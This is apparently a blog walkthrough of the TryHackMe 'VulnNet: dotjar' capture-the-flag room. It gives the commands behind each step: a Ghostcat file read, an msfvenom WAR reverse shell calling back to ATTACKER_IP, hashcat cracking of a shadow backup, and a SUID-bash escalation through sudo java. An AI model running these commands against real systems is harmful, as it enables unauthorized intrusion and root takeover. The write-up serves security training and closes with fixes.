mintshell
VI

VulnNet: dotjar

Tomcat's exposed AJP port is exploited with Ghostcat (CVE-2020-1938) to read web.xml and leak manager credentials; a WAR reverse shell gives a foothold, a world-readable shadow backup cracks to an SSH user, and sudo java -jar any jar yields a SUID-bash root.

Platform
TryHackMe
Room
VulnNet: dotjar(external link)
Difficulty
Medium
Vulnerabilities
arbitrary file read, hardcoded credentials, authenticated remote code execution, weak credentials, insecure sudo configuration
4 min read

A walkthrough of the “VulnNet: dotjar” room from TryHackMe. An Apache Tomcat with an exposed AJP connector falls to Ghostcat (CVE-2020-1938): reading web.xml leaks the manager credentials, a WAR reverse shell gets us a shell, a world-readable shadow backup cracks to an SSH user, and a _sudo java -jar _.jar* rule lets us run our own jar to SUID bash and root.

VulnNet: dotjar is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags and every recovered credential are shown as THM{<redacted>} / <redacted> — real on the box, withheld here.


TL;DR

TL;DR

Apache Tomcat 9.0.30 with the AJP connector on 8009 → Ghostcat (CVE-2020-1938) reads /WEB-INF/web.xml, which embeds the webdev manager credentials → authenticate to /manager/text and deploy a WAR reverse shell → shell as web → linpeas finds a world-readable /var/backups/shadow-backup-alt.gz → crack jdk-admin’s SHA-512 hash (hashcat -m 1800 + rockyou) → SSH as jdk-admin (user flag) → sudo -l allows /usr/bin/java -jar *.jar as root → compile a jar that runs chmod +s /bin/bash → /bin/bash -p for root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

nmap shows SSH, the Tomcat AJP connector, and the Tomcat HTTP port:

22/tcp   open  ssh    OpenSSH 8.2p1 Ubuntu
8009/tcp open  ajp13  Apache Jserv (Protocol v1.3)
8080/tcp open  http   Apache Tomcat 9.0.30

Tomcat 9.0.30 with an exposed AJP (8009) connector is the textbook Ghostcat setup.

The vulnerability

Ghostcat (CVE-2020-1938) abuses the AJP protocol’s trust to read — and in some configs include — files inside the web application. Here it reads WEB-INF/web.xml, which a developer stuffed with the Tomcat manager credentials. From there it’s a standard authenticated Tomcat manager RCE.

Insight

The chain hinges on two bad habits layered on the CVE: AJP exposed to the network (Ghostcat lets anyone read web.xml), and credentials hardcoded in web.xml. Ghostcat on its own is “only” file read — but when the file you can read contains the manager password, file read becomes code execution via a WAR deploy.

Step 1 — Ghostcat reads web.xml → leak manager creds

msf > use auxiliary/admin/http/tomcat_ghostcat
msf > set RHOSTS $IP    # RPORT 8009, FILENAME /WEB-INF/web.xml
msf > run
# <web-app> ... developer access: webdev:<redacted> ...

Step 2 — Tomcat manager WAR deploy → reverse shell (web)

The GUI manager is blocked, but the text interface accepts the leaked credentials. Build a WAR reverse shell, deploy it, and trigger it:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o revshell.war
curl --upload-file revshell.war -H "Authorization: Basic <redacted>" \
  "http://$IP:8080/manager/text/deploy?path=/revshell1"
nc -lvnp 4444
curl http://$IP:8080/revshell1/<jsp-name>.jsp   # -> shell as web

Step 3 — shadow backup → crack → SSH as jdk-admin (user flag)

linpeas flags a world-readable shadow backup. Unzip it and crack a user hash:

gunzip -c /var/backups/shadow-backup-alt.gz   # root/jdk-admin/web SHA-512 hashes
hashcat -m 1800 -a 0 jdk_admin_hash.txt rockyou.txt   # jdk-admin : <redacted>
ssh jdk-admin@$IP
jdk-admin@...:~$ cat user.txt   # THM{<redacted>}

Step 4 — sudo java -jar → SUID bash → root

jdk-admin@...:~$ sudo -l
# (root) /usr/bin/java -jar *.jar

We can run any jar as root. Compile one that SUIDs bash, then drop to a root shell:

// Main.java
Process process = Runtime.getRuntime().exec("chmod +s /bin/bash");
javac Main.java && jar cfe Main.jar Main Main.class
sudo /usr/bin/java -jar Main.jar      # Success! -> /bin/bash is now SUID root
/bin/bash -p                          # whoami -> root
# cat /root/root.txt -> THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated attacker reads arbitrary webapp files via Ghostcat (CVE-2020-1938), recovers hardcoded Tomcat manager credentials, and deploys a WAR for remote code execution. A world-readable shadow backup and a weak password escalate to an interactive user, and an unrestricted sudo java -jar *.jar rule gives full root — complete host compromise.

Fix

  • Patch Tomcat (9.0.31+) and disable or firewall the AJP connector if unused; set a requiredSecret on AJP.
  • Never hardcode credentials in web.xml; use a secrets manager and rotate the exposed password.
  • Don’t leave shadow backups world-readable. Restrict /var/backups and store backups encrypted.
  • Fix the sudo rule. java -jar *.jar as root is equivalent to a root shell; scope sudo to a specific, trusted jar with an absolute path, or remove it.

Takeaways

  • Exposed AJP = Ghostcat. Tomcat 9.0.30 with 8009 open is an instant file-read primitive.
  • File read + secrets in config = RCE. The leaked web.xml password turned Ghostcat into a manager WAR deploy.
  • World-readable backups are a gift. A shadow backup is a straight path to cracked logins.
  • sudo ... *.jar is root. Any wildcard that lets you supply the executed code is a privilege escalation.

VulnNet: dotjar is a clean CVE-to-root chain where each misconfiguration amplifies the last. Thanks for reading.